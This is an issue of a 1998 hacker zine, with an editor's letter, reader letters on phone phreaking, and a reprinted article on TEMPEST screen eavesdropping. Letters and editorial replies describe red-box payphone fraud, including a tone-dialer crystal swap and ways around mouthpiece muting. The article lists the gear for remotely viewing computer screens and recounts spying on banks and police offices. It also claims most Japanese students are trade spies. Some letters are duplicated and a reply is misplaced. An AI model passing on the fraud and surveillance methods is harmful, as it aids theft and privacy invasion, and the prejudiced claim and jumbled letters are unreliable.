Tempest Technology
DTMF Decoder
EWB 5.0 Review
CD-ROM Reviews

The Ultimate
resource for
today's hacker!

VOLUME 1 ISSUE 2
FALL 1998
Ok...last time we had this little section dedicated as a shout out to a bunch of phriends and other people that have some meaning to the staff. But, as is always the case, there were omissions and errors....First off, I totally forgot someone who, although it wasn't readily apparent, did have an influence on what we are doing here. Thanx for reminding me that I forgot you. This one's for you Jazzlicks. Almost...heheh
Also, our phriend Shanen got her named misspelled. "There's only ONE N in Shanen!" DUH! on me!! Sorry 'bout that honey!!! Forgive me?? Thanx :);)Well, fortunately that was all the mistakes in that section, at least all the ones that I was made aware of!!! If there were any other mistakes or omissions, why didn't you tell me!!! Too late now, huh? Ok, I'm not baggin' on you or anything but come on!!! Ok, I think I've taken up enough space in here for this issue except I still need to say one more statement. Thanx Mom for hanging in there for me and helping me out while I get this done. Oh, btw, I just got the cutest little kitten....hi Sparky!!! ok, that's it....see ya on the flip side!!

people that make it happen:

Editor
Skywise

Assistant Editors
DJ, Zack Man

Photography
Pixel God

Artwork
Joann

Packing & Distribution
Brian

Rendering & Raytracing
Krokus

Office Babes
Jan, Kate, Connie, Alicia

FOOD
Digiorno, Dr. Pepper

software that makes it happen:

POVRay for Windows, 3D Studio R4, Microsoft Publisher 98, Windows95, WindowsNT, Netscape Communicator, Microsoft Internet Explorer, ACDSee, Photoshop 4.0, Corel Draw, Photo Styler, Quark Express, ICQ, PageMaker, Crystal FTP, mlRC32 and some other misc software.
influence:

Another DeeJay
Frank Jones
Ray Dios Haque
Rick Harrison
Iron Feather Journal
Solar Prophet
Blacklisted! 411
McPunk
Iron Feather Journal
Jazzlicks

Orion
Lex Luthor
Bachrach
Telecode
Oxygene
Charlie Chan
Cyber Punk
Algernon

and, of course, those wishing to remain anonymous.

what's inside:

4 Brain Dump - Editors Letter
5 Questions, Answers, Letters
8 Nowhere To Run... - Tempest Technology
12 Trojan Horses For Dummies
14 Low Power Transmitter Kit Sources
16 Is It Legal To Be A Hacker And To Hack?
18 The Ins And Outs of LIDAR
21 THUD Artwork and Graphics Submission Info
22 The History Of ESS
24 Electronic Workbench 5.0 - Review
26 CD-ROM Reviews - IFJ & Group 42
28 A Parable - does technology inhibit our rights?
29 project t.h.u.d. - 8 Digit DTMF Decoder/Display
33 Radio Shack Pro-2004 Mods
34 The Art Of War Dialing

35 THUD Area Meetings Information
36 Useful Hardware
39 Massive Frequency List - <40MHz
40 Hack Exchange - Classifieds
42 FAQ: How to find people's E-mail addresses
50 Acronyms In The Letter "C"
54 Deadlines For Submissions To Thud
54 Game Reviews - by Cyber Punk
55 THUD Article Submissions Information
56 Hacking The Internet - by Bonnie burton
57 The Other Side Of The Street - by Algernon
58 Cool Pics
58 Back Issue order form
59 Subscription Information

other information:

How to contact us:
THUD Magazine
P.O. Box 2521
Cypress, CA 90630

Subscriptions:
$20 U.S., $24 Canada, $35 Foreign
U.S. funds only.

Articles:
THUD Magazine Articles
P.O. Box 2521, Cypress, CA 90630

Letters:
THUD Magazine Letters
P.O. Box 2521, Cypress, CA 90630
I must say I am very pleased with the responses we've gotten from our first issue. People just loved the cover and it seems to be the most catching part of the magazine. The cover is what gets people's attention and we succeeded in doing just that. But, we also made sure the mag was worth picking up and looking in between the pretty cover as well. From the letters we've gotten we succeeded there too. Congratulations on all those who helped us put it together...you know who you are!!!

A few comments I'd like to address concerning a couple of complaints. One person was not too happy with our article on pyrotechnic chemicals. I can understand some of the leftists radicals not wanting anything pyro being published in the wake of things like the Oklahoma City bombing and the Unabomber. However, this is a free country and our right to free speech IS protected by the 1st Amendment to the Constitution. Besides, if anyone reads the article it does not detail how to make a bomb. All the article listed was the various chemicals that are used in pyrotechnic, or firework displays. The name of the chemical was given and a brief description of it effect on the outcome of the explosion was given. I'd hardly consider it plans to make a bomb. I know it's a touchy subject and I hope objective and open minded people were not offended. Of course, like the saying goes, 'you can please all of the people some of the time and you can please some of the people all of the time; but you can't please all of the people all of the time.' I'm sure there were people who thought the 555 Timer article was a bunch of bullshit too.

The cover was a great success and we only had one letter that complained in any way about it. They thought the THUD logo was out of the sixties or something. Hey, I'll have you know our computer designer worked very hard on that logo!! But rest assured, they aren't taking offense. In fact, the letter was written in a very constructively criticizing manner. The person also happened to send a floppy with some of their own logo ideas as well, and we were so pleased with one of their designs that we decided to put it on the cover of this issue. I hope you all go WOW as much as we did when we first saw a full test render of the cover. If anyone else has some cool logo ideas feel free to send them in. However, if you do and want a chance at us possibly using it, you should send it on disk as paper copies just don't scan very well...basically it'd end up looking like shit. Now, on to the insides of this issue.

In the tradition of articles for the beginner and novice alike we have an article on how to make a Dual Tone Multi Frequency (DTMF) decoder and display. It's a great little gadget that anyone with a beginning electronics background should be able to build. It does use some hard to find parts but sources for those are listed. The designer built and tested the device and I even saw it in action myself. It was quite cool and I can say that it definitely works. Oh, we hope you like the centerfold schematic idea. Now you have something else to stare at while you sit on the pot in the mom!!!

We also have a kitchen article about TEMPEST technology. Man, I 'bout shit my pants when I read this article. It's a very well written piece of work and I think everyone should pay close attention to it. I encourage all our readers to share this one with their friends and co-workers alike. It's really amazing what technology can do and how it can be used against you. The scary part about this is that there's no way to detect it!!! But I'll let you read the article for more info.

There's also an excellent article on LiDAR. I'm sure you've at least heard of it. The police use it to snag speeding drivers. It works on a similar principle as RADAR but uses an infrared LASER beam instead. It works almost instantly and you have to have a special detector to detect it. There are, however, ways of defeating or at least making it more difficult for the officer to use LiDAR. Read the article and find out more!!!

Software reviews. Now who doesn't like to read about software before buying. This issue we have a review of Electronics Workbench 5.0 and is this ever a nifty program. With this software one can design and test an electronic circuit on their home PC. You can find out whether your idea is gonna work or not without spending bucks on parts!!! It can handle both analog and digital components, and at the same time!!! It's also a great tool for the beginner in electronics as a virtual lab tool. Read all about it on page 24.

You'll also find in between our awesome full color cover and article about how to find peoples E-mail address on the internet. Yes, it can be done and there are so many ways to do it that all I can say is to read the article. There's quite a bit of info there so take your time reading it. Oh, and even if you're not interested in finding someone else's e-mail address, read the article anyway to find out how others may be trying to find yours!!! That way you could take measures to stop unwanted e-mail....otherwise known as SPAM. BTW, what's wrong with Spam? I happen to like canned meat!!! :)

Well, let's see, what else have we got. There's the beginnings of quite a comprehensive frequency bandplan. It's more than just a freq. list, it actually shows what the allocations are from the FCC. Uhhm, there's a cool little article on a few items that one of our staffers grabbed at ECSC (see the ad on the inside back cover) that they thought were the best thing since sliced bread. Hmmm...wonder what was best BEFORE sliced bread. Ok, there's also some reviews on some hacker CD-ROMS. I'm sure you won't want to miss. You really oughta get these discs. They're so packed with info I'm sure everyone would find something useful.

Well, that's about it for now. I could go on and on describing what's in this issue but then I'd have to add more pages!!! It's a vicious circle. All in all I'm sure you'll be pleased with what we're doing here. Oh, and just a quick plug for a couple of other fine magazines...Don't forget to get your latest copies of Blacklisted! 411 and 2600 when you pick up THUD!
Questions, Answers, Letters from you...

THUD:

Just a little quiz for the cover of Vol 1 Issue 1. What is wrong with the picture? The phone receiver is off the hook yet the hook is still in the down position.

freaky@SzaticUsers.net

Yeah, we were wondering if anyone would notice that one. We kinda did that one on purpose for legal reasons. See, that way it PROVES that the persons taking the picture were not REALLY red-boxing. Sorry, US Government, no crime committed here!! Nyah-Nyaa-Nyaa-Nyah-Nyaaah!! :) When the photographers went out looking they actually found the phone in that condition and saved them the trouble of sticking a piece of gum in the mechanism to keep the hook down. What luck!! I hate wasting gum.

THUD! I picked up your magazine at the news stand a while back. I was impressed. Your audience seems to range from beginner to pro. I enjoyed reading your article on the 555 timer chip. I have been working on a project myself, and keeping in the tradition of dummy articles, here is one I wrote. Maybe this could become an open column? Anyway, these methods I describe are tried and true. I have successfully leeched hard drive directories, password files, and classified documents using the tools I describe. I hope that you will share this information in your magazine.

Ray Dios Haque
President of the United Phreaks Syndicate
http://welcome.to/ups

Yes, we are striving very diligently to include all levels of hackers and phreakers. We do not believe in putting down the newbies and giving them a hard time for asking the simple questions. THE ONLY STUPID QUESTION IS THE ONE THAT GOES UNASKED!!! While that said, we are pleased our efforts are succeeding. The 555 article, and others like it in this and future issues hopefully will be written in such a way that it is not over the heads of the beginners yet still offers usable information for advanced hackers.

Also, we liked your submission and you’ll find it on page 12 in this issue. Most areas of the magazine are open and all readers are welcome to send in their written works for consideration. It’s the spread of information and knowledge that we’re interested in. Send submissions to

THUD Magazine Articles
P.O. Box 2521, Cypress, CA 90630

THUD:

Meeting: Wow Superstore - Sahara - Decator, Las Vegas Nevada. Time: First Friday every month, 8pm.

www.nevadaunderground.org
freaky@nevadaunderground.org

EXCELLENT!!! Only one issue out so far and the response has just been so awesome. Listen up all you Lost Wages folks, attend this meeting and support the local Vegas hackers!!! Oh, and don’t forget to check out the website...it’s pretty cool too!! If others want to start their own meetings for their area, please let us know!! It’s an excellent way to meet other hackers, exchange ideas, learn something new, and heck, it’s a chance to make new friends!!! For specifics on notifying us about meetings, see page 35. There you’ll find the information we need to properly inform others of new meets!

THUD:

Hi guyz!! Great mag. Was picking up my copies of 411 and 2600 and saw this awesome color cover. I just had to grab myself a copy. I’m hooked! Now I have three different hacking mags to learn from. It’s great. They all cover different areas. Keep up the good work!!

Enrico

Thank you for the warm comments. That’s actually something we are trying to do is to make sure we don’t cover too much of the same exact material, unless we can offer a better or more updated version of it. We only want to present the best for our readers and hope that by there being several sources for material of this nature, we will only accentuate the information available and make it easier for everyone to read it.

THUD:

I am writing to tell you that I enjoyed your first issue of THUD. I live in Hawaii and have been a Phreaker and Hacker for sometime. I am currently writing an article for your Phine magazine, I have also been an avid reader of your sister publication blacklisted 411 for sometime as well as 2600. What drew me to your magazine was the cover showing a person Red Boxing a Phone. Well keep up the good work!

Here’s a short poem for you Phreaks that live in Hawaii.

GTE Hawaiian Tel payphones and Starnet phones accept 6.5536MHz Red Box Tones.

The Milliani Phiber Phreak
aka-INOEK ORIHSAMAT

Great, we look forward to reading your submission and possibly printing it. Listen up everyone, if you have good experiences that can be used to teach others of our fine art, WRITE ABOUT IT and SEND IT IN!!! The whole idea is an exchange if information and knowledge.

Oh, and thanx for that very short poem...I had to read it twice to understand it. Very profound...moving...and...short...:

THUD:

Just wanted to say cool mag. I like the color cover. I was wondering if you guys have plans of going FULL color inside and out?

Derrick 12

We haven’t seen a need to go color inside. But who knows?

I’ve NEVER seen THUD before!

What Gives?

1. We’re brand new and have not been for sale anywhere before this.
2. We’re still looking for people to write for us.
3. We still need LETTERS sent in.
4. We still need photographs and artwork sent in, as well.
5. Read above.
I love the magazine. It seems to be far more clear to newbie lammers like myself than either 2600 or Blacklisted. Cuz of yer common question thing, I finally decided to try my hand at a red box. I went the easy way, downloaded Cool Edit, and copied the sounds to a microcassette recorder. Unfortunately, I don’t think any of the phones around here are old enough for it to work. But it was a grand learning experience nonetheless.

McPunk

Thanx for the compliments. We’re not trying to out do or put down either Blacklisted or 2600. Heck, Blacklisted is our sister publication, why would we knock them? Anyway, they are both very fine magazines and I hope they both survive for a long time. Many of us here read both of them as well.

You’re absolutely right about why your Red Box won’t work. The telephone companies got smart (oxymoron?) and decided to modify the phones so that the mouthpiece is muted until the coins are dropped, the number is dialed, and the connection is completed. Supposedly one can remove the microphone element from a phone which DOES accept Red Boxing and place into the mouthpiece of a phone which does not and defeat this sort of trickery. But I’m sure that that does not work everywhere. Alas, it’s a never ending arms race to see who can outsmart whom.

THUD:

Can you inform me of some computer defense attorneys? It’s always good to keep in touch with a few.

freaky@SzaticUsers.net

You’re absolutely right, knowing a few people who understand hackers and also have the knowledge of our ‘legal’ system could come in handy: hopefully none of us will ever need one. But, to answer your question, we don’t have any attorneys in particular that we can recommend. Perhaps there’s some attorneys out there who are open minded and read our zine that could send us a note? Heck, ask us to put an ad in the mag, I’m sure you’ll drum up some business. Another great idea would be for someone to interview an attorney discussing the various legal aspects of hacking and what’s involved when someone is alleged to have committed a ‘hacking’ crime.

THUD:

Dudes. I saw your mag on display when I went to go pick up my copies of Blacklisted 411 and 2600. That color cover really caught my attention. I had NO CHOICE but to check it out. REALLY cool. Well, on to my question. I was wondering if the FCC regulated line of sight infrared laser data links. Me and a friend were thinking of setting one up to experiment with and can’t seem to find any literature on this issue. Maybe you can help?

Bright Eyes

Wow, everyone seems to really like our cover, which is good. That was the idea. As for the IR data link, the FCC considers anything above 300GHz amateur and IR is WAY above that so you’re safe. Just be careful with the power and your eyes!! Just because the laser radiation is invisible does not mean it will not damage your eyes. Hey, if you get this thing working, maybe you could write up and article for us. Maybe even something so that others can give it a try? Hope it works!!!

THUD:

Does THUD magazine have a website or email address? Snail mail just supports federal government.

freaky@SzaticUsers.net

Boy, you’re sure full of questions, but we’re glad to answer them! At this time we do not have a website or an e-mail address. We’ve been concentrating so much on putting out the mag and getting everything just right for our readers. We are DEFINITELY interested in having a THUD website. It WILL happen, it’s just a matter of when is all. An e-mail address is in the works and will surely be available before the website. In fact, we should have that available and printed in the next (Fall, 1998) issue.

THUD:

You’re ‘zine kicks ass man!!! Where have you been all my life? I really dig the cover. It looks so 3D. It’s a great acid trip. HA HA HA. But this picture, the phone isn’t even off the hook. How are you going to do any red boxing like that? Did you guyz brake [sic] it or something? Ought to tell the phone company on you! But it’s still cool. I really liked the chemical list. You should do a list of drugs. That’d be cool. Cuz like what you have I can’t smoke. I suppose I could smoke a capacitor but I hear those are bad for you. Ever smoke a capacitor? They smell cool. I love sticking them in power strips and turning them on. POW!!!!

AcidPhreak

Whoa, dude, like ease up on the drugs or sumthin, man. You’re like trippin too much, man. Like man, I dunno what to say, man. Pass the bong, man. HAHAHAH ANYWAY!!! as said in one of the letters above, it was kinda done on purpose to prevent any legal probs. See above for more details. As for drugs...uhmmm....DRUGS ARE STUPID!!! didn’t you know that? Besides, I don’t think we could get away with that very easily. We’d have the DEA on our backs. Now you wouldn’t want that to happen, would you?

THUD:

What does the crystal look like in the 43-146 tone dialer from Radio Shack look like? In the first issue you said it looked like a “capacitor.” What is a “capacitor” and what does it look like?!!? Also, how do you install a new crystal into the 43-146 version of the Radio Shack tone dialer?

ORYAN28

Ok. First, a capacitor is an electronic component that is capable of storing a very small charge. They are used in a multiple of ways including frequency filtering, oscillators, and analog delays. They come in a multitude of shapes and sizes, ranging from tiny little brown discs about 3 millimeters in diameter with two wire leads coming out of one side to huge ‘cans’ with dimensions of several inches. Since there’s a second letter asking about the 43-146 Tone Dial mod, see the answer to the very next letter her for specifics.

THUD:

In the first issue of the first volume of THUD you had Q&A instead of letters to the editor and you described some of the more popular boxes. Could you please send me more information on making these boxes? I already made a beige box and I am making a red box from a Radio Shack Tone Dialer and a 6.5 MHz crystal. I need to know how to replace the normal crystal in the 43-146 and what the disguised crystal looks like. I heard it looks like a capacitor but I have no idea what the looks like. I would like to make as many different boxes as I can. Thank you very much,

Michael Davis

Yeah, since it was the first issue, how could we have a Letters to the Editor section? hehehe but now we do and now we have letters to print as well. I’m glad you have an interest in the color boxes and in electronics in general. You’re the second person to ask about the crystal in the 43-146 Tone Dialer.

Just to be accurate we went out and bought the 43-146 Tone Dialer from our local Radio Shack. The crystal in the tone dialer you are talking about should look like a brown ceramic dipped component that’s wider than it is tall, with two leads
coming out of one side. Ours was marked "25.38M" which is a funny way of saying 3.58MHz. Guess they're really trying to throw us off. It's soldered to the board right next to the two white wires that go to the smaller piezo-electric speaker. The crystal which must replace the original one in the tone dialer is of a different size and shape and there may not be enough room in the box for it to fit properly. If you are not familiar with working on electronics and soldering, this could be an almost impossible, if not at least a very frustrating task. But, there is no better way to learn than by doing. Experience, and especially mistakes, are the best teacher.

THUD:

Hey cool cover for the first issue. I took this pic of a payphone that was ripped out, it's cool because you can use a lineman's handset on the wires. They never had the phone disconnected. P.S. sorry about my thumb in the top.

Heya cool cover for the first issue. I took this pic of a payphone that was ripped out, it's cool because you can use a lineman's handset on the wires. They never had the phone disconnected. P.S. sorry about my thumb in the top.

THUD:

Hey cool cover for the first issue. I took this pic of a payphone that was ripped out, it's cool because you can use a lineman's handset on the wires. They never had the phone disconnected. P.S. sorry about my thumb in the top.

Hey Prince. Now that's the spirit of a true hacker/phreaker...persistence to satisfy curiosity. If it wasn't for curiosity we'd have no advancements in science, computers, communications, or ANY field for that matter. It was once said to me that the definition of a scientist is someone who seeks knowledge for the sake of knowledge. Does that make all hacker/phreakers scientists? Hmmm...that's an interesting philosophical thought!! HAHAHA "So where'd you get your degree?" "From the back of THUD magazine!!!" heheh...sorry...off on a tangent. I'm pleased that our article reviewing Cool Edit was of help to you. Another satisfied customer. :) Hey, if you get any really cool remixes send them in too. We may not be able to print it but I'd love to hear what you've got!! One of our staff dabbles in remixing other peoples music as a hobby.

THUD:

Man, that cover was really cool. All that text in the background was really neat. And it was all real stuph too! I recognized on the back cover parts of a phile about hacking AOL!! Seeing that ASCII text reminds of when BBS's were king and we hackerz spread our material via philez on warez boardz and such. Oh those were the days. But due to the internet, BBS has gone out of style. Most of the boards in my area are gone and the ones that do remain and pay boards supported by wanna be rich kids. The good stuff never lasts, I tell ya. But I really like what you've done with the mag. It's got the feel of those old philez, just in a new and updated format. With the internet the size it is it is so hard to find good information these days. Seems like any old geek can start up a web site and put anything they want up there. Doesn't matter if it's correct information, or even their own!! I've seen copies of the same stuff on multiple sites and many of them spout it off as their own work. Sad...I don't recall that happening in that dayz of yore. But enough of my reminiscing, thank for the blast to the past!!

THUD:

Hey, that's pretty cool. Stupid phone companies. And people wonder why we get ripped off on our phone bills!! hahahaha It could be that they even KNOW that it's happening. A lot of times they won't know something like this until someone reports it. Someone probably snagged the phone to steal the coins. It's much easier to take the whole phone and break open the coin box in private than it is to try and break into it in place. Mind you, I'm not recommending such practices, just informing the unknowing that this is what happens in the real world where the media and corporations are not in as much control as they like to think they are. :) If this phone belongs to the phone company, chances are that a linemans testset will NOT work on the loose wires. Oh, nice thumb print!!!

THUD:

Good 'zine. Lotsa cool info. I really liked the review that Solar Prophet did on Cool Edit. I have found that program to be even more useful than the article even hinted at. Shit, you could probably write a whole book on just that one little shareware program. I'm a sort of wanna be musician and Cool Edit helped me with a lot with being able to remix my music. It's not professional software but what do you expect for free? Oh yeah, it helped me make the Red Box tones like what was suggested in the article. I'm fairly new at all this hacking and phreaking business and I'm not really interested in ripping anybody off, just want to learn what I can about the world around me. Anyway, I taped the tones out to a greeting card and went around checking some of the pay phones in my area. Mind you I did this just for experimentation and curiosities sake only!!! hehehe i must have tried at least a dozen phones (I'm really persistent) before I found an old beat up phone outside one of the local liquor stores that let me phool it. I can really see how phreaking used to be big in the Eighties before the phone companies got wise to most of the tricks. Anyway, just wanted to share my experiences with you and send my $$$ in for a subscription. Keep up the good work!!

Prince Nothing
So Cal

Heya Prince. Now that's the spirit of a true hacker/phreaker...persistence to satisfy curiosity. If it wasn't for curiosity we'd have no advancements in science, computers, communications, or ANY field for that matter. It was once said to me that the definition of a scientist is someone who seeks knowledge for the sake of knowledge. Does that make all hacker/phreakers scientists? Hmmm...that's an interesting philosophical thought!! HAHAHA "So where'd you get your degree?" "From the back of THUD magazine!!!" heheh...sorry...off on a tangent. I'm pleased that our article reviewing Cool Edit was of help to you. Another satisfied customer. :) Hey, if you get any really cool remixes send them in too. We may not be able to print it but I'd love to hear what you've got!! One of our staff dabbles in remixing other peoples music as a hobby.

THUD:

Man, that cover was really cool. All that text in the background was really neat. And it was all real stuph too! I recognized on the back cover parts of a phile about hacking AOL!! Seeing that ASCII text reminds of when BBS's were king and we hackerz spread our material via philez on warez boardz and such. Oh those were the days. But due to the internet, BBS has gone out of style. Most of the boards in my area are gone and the ones that do remain and pay boards supported by wanna be rich kids. The good stuff never lasts, I tell ya. But I really like what you've done with the mag. It's got the feel of those old philez, just in a new and updated format. With the internet the size it is it is so hard to find good information these days. Seems like any old geek can start up a web site and put anything they want up there. Doesn't matter if it's correct information, or even their own!! I've seen copies of the same stuff on multiple sites and many of them spout it off as there own work. Sad...I don't recall that happening in that dayz of yore. But enough of my reminiscing, thank for the blast to the past!!

The Stroker

I hear ya on that one. It really seems the BBSer is a dying breed. There are still a few BBS out there but like you said they're mostly for wanna be rich kids. And those are still out there for those die hards that don't want to see a good thing pass. I see much of the problem as a generation gap of sorts. When we got into computers, BBS were the only game in town. Then came the net. Now, when new kids get into computers they go straight to the net instead. Now don't get me wrong. The net is a great thing. I couldn't live without it. But it seems so cold and impersonal when compared to a BBS. On a BBS you could chat with people that you knew were in your area and if you went to a local user meet you could actually see the faces behind the screen. On the net you have no idea who you might be talking to. Heck, it could be some private detective passing as a Canadian lumberjack lady with a fetish for wood trying to snag people who just want a fun convo. Don't recall that problem BBSing. I don't think BBBSing will ever truly die, just as people still restore and drive old Model T Fords. There will always be those who love them and won't allow them to die.

Douglas M.
Nowhere to run...Nowhere to hide...
The vulnerability of CRT's, CPU's and peripherals to TEMPEST monitoring in the real world..

The following article is reprinted by permission. We suggest you visit WWW.THECODEX.COM for more information. It’s a really awesome website full of information on the latest in surveillance technology and how vulnerable we are to it’s misuse. Don’t forget to pick up the winter issue of THUD as we will have further information on TEMPEST technology. You won’t be disappointed!

George Orwell wrote the classic "1984" in 1949. He depicted a world in which the government controlled it's citizens and a world devoid of privacy. Many of the things Orwell wrote almost fifty years ago have come to pass.

Surveillance technology has progressed to the point that is possible to identify individuals walking city streets from satellites in orbit. Telephone, fax and e-mail communications can routinely be monitored. Personal information files are kept on citizens from cradle to grave. There is nowhere to run...nowhere to hide...

The advent of the personal computer has revolutionized the way we do business, keep records, communicate and entertain ourselves. Computers have taken the place of typewriters, telephones, fax and telex machines.

The Internet has opened up a new world of high speed and inexpensive communications. How secure and private is it? There are many encryption programs and hardware devices available for security purposes but what about the computer terminal itself? How safe is it? What are it's vulnerabilities? Hackers have been known to cause mischief from time to time...Is it possible for an adversary to snoop on your private data? Can Big Brother?

Suppose it was possible to aim a device or an antenna at your apartment or home from across the street or down the block. Suppose you were working on a confidential business project on your PC. Suppose that device down the block could read what you were typing and viewing on the CRT? Feeling uncomfortable? Suppose that device could monitor everything you do on your computer by collecting electromagnetic radiation emitted from your computer's CRT, CPU and/or peripheral equipment, reconstruct those emissions into coherent receivable signals and store them for later review? Feeling faint? Good. The technology exists...and it has for some time....

You don't have to worry about a "middle of the night" break-in by some clandestine government black-bag team to plant a bug. They never have to enter your home or office. Seedy looking private investigators or the information warrior won't be found tampering with your telephone lines in the basement either...it's not necessary...all they have to do is point an antenna...safely, from a distance away...and collect your private data...

This surveillance technique has become known as TEMPEST monitoring. TEMPEST stands for Transient Electromagnetic Pulse Standard. It is the standard by which the government measures electromagnetic computer emissions and details what is safe (allowed to leak) from monitoring. The standards are detailed in NACSIM 5100A, a document which has been classified by the National Security Agency. Devices which conform to this standard are called TEMPEST certified.

In 1985, the Dutch scientist Wim van Eck published a paper which was written about in the prestigious "Computers & Security" journal, "Electromagnetic Radiation from Video Display Units: An Eavesdropping Risk?" Vol 4 (4) pp 269-286. The paper caused a panic in certain government circles and was immediately classified as is just about all TEMPEST information.

Wim van Eck's work proved that Video Display Units (CRT's) emitted electromagnetic radiation similar to radio waves and that they could be intercepted, reconstructed and viewed from a remote location. This of course compromises security of data being worked on and viewed by the computer's user. Over the years TEMPEST monitoring has also been called van Eck monitoring or van Eck eavesdropping.

In 1990, Professor Erhard Moller of Acchen University in Germany published a paper, "Protective Measures Against Compromising Electromagnetic Radiation Emitted by Video Display Terminals". Moller's paper which updated in detail van Eck's work also caused a furor.

The government's policy of TEMPEST secrecy has created a double edged sword. By classifying TEMPEST standards, they inhibit private citizens and industry by failing to provide the means of adequately shielding PC's and/or computer facilities. There is an old saying, "You can't drive a nail without the hammer". If concerned personnel don't know the minimum standards for protection...how can they shield and protect? Shielding does exist which can prevent individuals and companies from being victims to TEMPEST monitoring. But without knowing the amount of shielding necessary...

Perhaps this is the way the government wants it... My work has focused on constructing a countermeasures device to collect and reconstruct electromagnetic emissions from CRT's, CPU's and peripherals to diagnose emission levels and give security personnel a hands-on tool with which they can safeguard their computer data.

In testing my countermeasures device I concentrated on interception and reconstruction of the three types of emitted electromagnetic radiation written about in van Eck and Moller's work.

1. Electromagnetic radiation emitted from CRT's - similar to radio waves.
2. Shell waves on the surface of connections and cables.
3. Compromising radiation conducted through the power line.

I found my greatest success (distance & quality) was in the collection of emitted radiation from the CRT although we were equally successful in our other experiments. In our opinion the greatest danger of TEMPEST monitoring comes from off premises and we decided early on to concentrate in this area. A workable countermeasures tool would give security personnel a handle on distance from which compromising electromagnetic radiation could be collected. Hopefully full countermeasures would then be implemented.
TEMPEST MONITORING...HOW IT WORKS

TEMPEST monitoring is passive. It cannot be detected. The computer emits compromising radiation which can be reconstructed from a remote location. There is no need to ever come near the target. No reason ever to go back to change a faulty bug like the Watergate burglars...It can be performed from an office or a vehicle with no chance of discovery. The premise is very simple.

All electronic devices emit some low level electromagnetic radiation. Whenever an electric current changes in voltage level it generates electromagnetic pulses that radiate invisible radio waves. Similar to the ripples caused by dropping a small rock into a quite pool of water. These electromagnetic radio waves can carry a great distance.

Computer monitors like televisions contain an electron gun in the back of the picture tube which transmits a beam of electrons (electric current). When the electrons strike the screen they cause the pixels to fluoresce. This beam scans across the screen from top to bottom very rapidly in a repetitive manner, line by line, flashing on and off, making the screen light and dark, creating the viewed image. These changes in the high voltage system of the monitor generate the incoherent signal that TEMPEST monitoring equipment receive, reconstruct and view.

We have found that most monitors emit signals in the 2 to 20 Mhz range although harmonics are fairly strong and can be intercepted. Radiated harmonics of the video signal bear a remarkable resemblance to broadcast TV signals although various forms of sync must be restored.

Associated unshielded cabling can act as an antenna and increase interception range. Emissions can be conducted down power cables and supplies. Computers attached to unshielded telephone lines are easy prey as the telephone line acts as an excellent antenna. Printers and their cables are not immune either. The average computer setup in the home or office could be compared to a base station transmitting it's signals all over the neighborhood.

Put quite simply, it is easy for someone with basic electronics knowledge to eavesdrop on you while you are using a computer. They might not be able to steal everything from the hard disk but they can view anything you do....see anything you see...

HOW IT'S DONE...THE COMPONENTS

A good commercial wide band radio receiver preferably designed for surveillance (requires a little modification) with spectrum display. Sensitivity and selectivity are paramount. Not all receivers will do the job adequately.

Horizontal and vertical sync generator. Commercially available and will require some modification.

Multi-Scan Video Monitor with Shielded cables.

Active Directional Antenna (phased antenna array) with shielded cables. Think radio telescope.

Video tape recording equipment. For capture and later review.

WHAT WE WERE ABLE TO CAPTURE...

Bench testing of the unit was quite successful in and around the office. Several computers were targeted and interception of the data was simple after injecting and restoring vertical and horizontal sync. We had no problem viewing computer screens on adjacent floors in the building (we were sometimes hindered by noise) and were able to differentiate (to my surprise) between different computers in a large office. We aimed our device out the window across the street at an adjacent office building and were able to view CRT screens without too much difficulty.

I should mention here that during the field tests NO DATA WAS STORED FROM TARGET COMPUTERS. We were not on an eavesdropping mission. We simply were interested in testing OUR equipment; not spying on others.

Field testing of the unit was quite different and required continuing manipulation of the equipment. From a vehicle in a suburban area we were able to view active televisions inside homes (the cable/pay-per-view people could have a field day) and what programs residents were watching. When we came across homes with active computers we were able to view CRTs. Average range was approximately 300 yards.

We continued to test the device in a suburb of New York City with startling results. We were able to view CRT screens at ATM machines, banks, the local state lottery machine in a neighborhood candy store, a doctor's office, the local high school, the fire department, the local police department doing a DMV license plate check, a branch office of a securities trader making a stock trade and the local gas station tallying up his days receipts. We didn't expect that any of our "targets" would be TEMPEST certified and we were correct.

BIGGER FISH IN A BIGGER POND

We took our DataScan device, as we named it, to New York City. The Big Apple. We were interested in testing the integrity of various computer facilities and also wanted to see how our device would operate in an urban environment.

Let me start off by saying New York is in a lot of trouble. We started at Battery Park (the southern tip of Manhattan Island) and headed north to Wall Street. The US Customs building leaks information as well as the Federal Reserve. Wall Street itself was a wealth of information for anyone interested. With hundreds of securities and brokerage companies located within a few blocks of each other, all an information warrior need do is rent an office with a view and aim his antenna. We were able to view CRT's in MANY executive offices.

The World Trade Center was fertile. It afforded open parking areas nearby with millions of glass windows to snoop...we were
most successful snoopng the lower floors from the street. We borrowed a friends office at mid-tower in the south building and
were able to view CRT's in the north building easily.

We headed east towards the New York Post newspaper offices and read the latest news off their monitors (which was printed
the next day). We headed north towards City Hall and NYPD Police Headquarters. Guess what? They're not TEMPEST
certified either...Neither is the United Nations, any of the midtown banks, Con Edison (the power company) on First Avenue,
New York Telephone on 42nd Street or Trump Tower! Citicorp's computer center in the SkyRink building on West 33rd Street
was a wealth of information also...

We found that with the proper frequency tuning, antenna manipulation, reintroduction of sync and vehicle location, we could
monitor just about anyone, anywhere, anytime. There is no doubt in my mind that TEMPEST eavesdropping is here to stay
and something that must be dealt with by computer and security professionals.

Passwords, files, proprietary data and records are all vulnerable to the information warrior using TEMPEST monitoring
equipment in a non TEMPEST certified world.

POTENTIAL USERS OF TEMPEST MONITORING

Big Brother:

Yes, that's right. He does bug businesses. Sometimes with a court order and sometimes without one. It's unclear under
present American law whether or not a court order would be needed to collect TEMPEST information. You never know when
Big Brother's on a witchhunt. Maybe he suspects you of being a tax cheat, of insider trading, leftist sympathies, etc.
Remember Watergate? Now, the FBI wants to be able to tap EVERY telephone, fax and data line in America at the turn of a
switch and they want US to pay for it...Using TEMPEST technology they need never enter or come near your home or
business.

Foreign Intelligence Services:

In the last days of the Bush Administration, the mission of the CIA was partially changed to spy on foreign businesses and
steal trade secrets in response to the ever growing surveillance of American industry by foreign competitors and foreign
intelligence services. The Japanese are the worst. Most of the Japanese students living and attending school in the USA are
economic trade spies. The French intelligence service regularly bugged ALL the first class seats on AIR FRANCE flights to
eavesdrop on traveling foreign businessmen. EVERY foreign service in the world is involved in corporate espionage to gain an
economic advantage for their own companies. Do you have a foreign competitor? Then the chances are good that a foreign
intelligence agency will spy on you. TEMPEST technology is becoming the medium of choice.

The Activist:

Dedicated, yet misguided activists may wish to further their own cause by releasing your private disclosures to the media.
